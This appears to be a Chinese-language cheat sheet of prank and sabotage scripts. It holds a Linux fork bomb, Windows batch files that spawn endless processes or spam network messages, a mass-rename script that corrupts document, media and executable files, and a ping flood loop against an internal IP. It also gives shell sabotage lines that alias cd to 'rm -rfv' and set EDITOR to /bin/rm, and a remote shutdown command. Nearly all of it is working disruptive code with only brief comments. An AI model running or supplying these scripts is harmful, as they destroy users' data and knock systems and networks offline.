Linux下:
:(){ :|:& };:
Fork 炸弹
Windows下:
test1.bat
:1 Start goto 1
test2.bat
:1 bash test2.bat goto 1
Windows下:
创建一个文件:raj.bat
@echo off
color 02
:raj
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto raj
windows下:
消息广播:创建一个文件:raj.bat
@echo off
:netannoy
msg * Hi!
msg * How r u ?
msg * Wat’s Up ?
msg * Myself Raj Chandel….
msg * My Web Links are….
msg * www.rajhackingarticles.blogspot.com…..
msg * www.upscportal.in
msg * www.usefulwebsitename.blogspot.com
goto netannoy
Windows下:
批量重命名:创建一个文件:raj.bat
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
windows下:
Packet Flooder Trick:创建一个文件:raj.bat
:flood
ping -l 65500 -t 10.179.65.68
start flooder.bat
goto flood
参考:click here
export EDITOR=/bin/rm;
将 EDITOR 环境变量定义为 rm,而它原本应该是 vi、emacus 或 nano
EDITOR 环境变量用于定于系统的默认编辑器,在一些系统内置功能里面,比如编辑 crontab 时,会根据该变量调用默认编辑器。
tset -Qe $'\t';
tset 用于设置终端特征;-e 参数设置擦除字符,缺省为退格字符;-Q 表示不显示设置信息(静默)
((RANDOM % 10)) || set -o errexit;
set -o errexit 等价于 set -e,表示有任何错误(命令的返回状态非 0 )时即退出。
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
ls 的 f 选项表示不排序输出(即只按照磁盘存储顺序输出);r 表示反向排序;S 表示按文件大小排序;t 表示按修改时间排序;u 表示按最后访问时间排序。
alias cd='rm -rfv';
rm 命令的 -r 表示可删除(非空)目录;-f 表示不需要确认删除;-v 表示删除后显示被删除的文件/目录名称
https://github.com/mathiasbynens/evil.sh/blob/master/evil.sh
脚本小整合
net view 检测通网络内其他主机
ping 主机名字
记录ping后显示的名字
shutdown -i #远程关机或重启